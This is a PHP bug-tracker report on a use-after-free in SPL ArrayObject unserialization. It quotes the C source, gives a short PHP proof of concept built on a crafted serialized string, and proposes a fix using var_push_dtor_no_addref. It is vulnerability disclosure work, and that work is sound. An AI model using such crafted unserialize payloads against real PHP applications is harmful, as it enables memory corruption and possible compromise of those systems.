|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2020-06-10 10:59 UTC] nikic@php.net
-Status: Open
+Status: Closed
-Type: Security
+Type: Bug
-Assigned To:
+Assigned To: nikic
[2020-06-10 10:59 UTC] nikic@php.net
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Wed Dec 17 08:00:01 2025 UTC |
Description: ------------ ``` SPL_METHOD(Array, unserialize) { ... ALLOC_INIT_ZVAL(pflags); if (!php_var_unserialize(&pflags, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pflags) != IS_LONG) { goto outexcept; } ... outexcept: PHP_VAR_UNSERIALIZE_DESTROY(var_hash); if (pflags) { zval_ptr_dtor(&pflags); } zend_throw_exception_ex(spl_ce_UnexpectedValueException, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len); return; ``` When the php_var_unserialize call to fails, zval will be freed via zval_ptr_dtor, but it is still possible to be referenced by external php_var_unserialize. PoC: ``` <?php class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { try { $this->data = unserialize($data); } catch (Exception $e) { // do something } } } $inner = 'x:s:1:"A";'; $inner = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}'; $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}'; $data = unserialize($exploit); var_dump($data); ?> ``` Fix: Some similar issues exists in other php_var_unserialize call to fails in ArrayObject deserialization, and also exists in SplObjectStorage/SplDoublyLinkedList. Fix these issues you need to use var_push_dtor_no_addref instead of zval_ptr_dtor.